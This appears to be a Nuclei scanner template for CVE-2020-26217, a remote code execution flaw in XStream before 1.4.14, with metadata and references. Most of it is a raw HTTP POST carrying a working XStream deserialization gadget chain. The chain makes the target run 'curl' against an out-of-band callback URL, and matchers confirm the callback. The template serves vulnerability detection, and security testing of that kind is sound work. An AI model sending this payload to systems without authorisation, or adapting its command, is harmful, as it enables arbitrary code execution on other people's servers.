XStream <1.4.14 - Remote Code Execution

id: CVE-2020-26217

info:
  name: XStream <1.4.14 - Remote Code Execution
  author: pwnhxl,vicrack
  severity: high
  description: |
    XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Fixed in 1.4.14.
  reference:
    - https://x-stream.github.io/CVE-2020-26217.html
    - https://github.com/x-stream/xstream/commit/0fec095d534126931c99fd38e9c6d41f5c685c1a
    - https://github.com/x-stream/xstream/security/advisories/GHSA-mw36-7c6c-q4q2
    - https://nvd.nist.gov/vuln/detail/cve-2020-26217
    - https://lists.apache.org/thread.html/r2de526726e7f4db4a7cb91b7355070779f51a84fd985c6529c2f4e9e@%3Cissues.activemq.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-26217
    cwe-id: CWE-78
    epss-score: 0.97384
    epss-percentile: 0.99904
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve,cve2020,xstream,deserialization,rce,oast,xstream_project

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                  <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                    <contentType>text/plain</contentType>
                    <is class='java.io.SequenceInputStream'>
                      <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                        <iterator class='javax.imageio.spi.FilterIterator'>
                          <iter class='java.util.ArrayList$Itr'>
                            <cursor>0</cursor>
                            <lastRet>-1</lastRet>
                            <expectedModCount>1</expectedModCount>
                            <outer-class>
                              <java.lang.ProcessBuilder>
                                <command>
                                  <string>curl</string>
                                  <string>http://{{interactsh-url}}</string>
                                </command>
                              </java.lang.ProcessBuilder>
                            </outer-class>
                          </iter>
                          <filter class='javax.imageio.ImageIO$ContainsFilter'>
                            <method>
                              <class>java.lang.ProcessBuilder</class>
                              <name>start</name>
                              <parameter-types/>
                            </method>
                            <name>start</name>
                          </filter>
                          <next/>
                        </iterator>
                        <type>KEYS</type>
                      </e>
                      <in class='java.io.ByteArrayInputStream'>
                        <buf></buf>
                        <pos>0</pos>
                        <mark>0</mark>
                        <count>0</count>
                      </in>
                    </is>
                    <consumed>false</consumed>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <string>test</string>
          </entry>
        </map>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
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